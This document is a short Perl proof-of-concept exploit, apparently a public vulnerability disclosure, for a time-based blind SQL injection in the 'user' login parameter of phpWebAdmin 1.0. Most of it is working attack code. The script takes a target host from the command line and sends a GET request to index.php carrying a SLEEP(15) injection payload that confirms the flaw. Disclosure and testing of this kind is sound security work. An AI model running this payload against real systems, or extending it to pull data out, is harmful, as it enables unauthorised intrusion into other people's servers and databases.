#!/usr/bin/perl -w

#phpWebAdmin Version 1.0 SQL Injection Proof Of Concept Exploit
#===============================================================


#Discovered by N_A , N_A[at]tutanota.com
#========================================



#Description
#============
#
# php web admin file and folder manager.
#
# currently version 1.0
# more features to come
#
# https://sourceforge.net/projects/chrisphpadmin/


#Vulnerability
#==============

#The 'user' parameter in the index.php file is vulnerable to a blind SQL time-based Injection attack. Proof of concept is exploit attached below




#Proof Of Concept
#=================


use strict;
use LWP::Simple;

my ($url ) = @ARGV;
if (not defined $url)

{

   print "=========================================\n";
   print "phpWebAdmin SQL Injection Exploit\n";
   print "\tBy N_A\n";
   print "\n";
   print "$0  [URL]\n";
   print "$0 127.0.0.1\n";
   print "=========================================\n";
   exit;
  
}



my $file = '/phpWebAdmin/index.php';
my $injection = 'user=a\' AND (SELECT * FROM (SELECT(SLEEP(15)))MdWH) AND \'gpey\'=\'gpey&pass=p&login=login';  #Sleep for 15 seconds
my $request = "http://".$url.$file."?".$injection;



print "#####################################################\n";
print "SQL Injection: The server will sleep for 15 secs\n";
print "#####################################################\n";


my $content = get $request;

die "could not get $request" unless defined $content;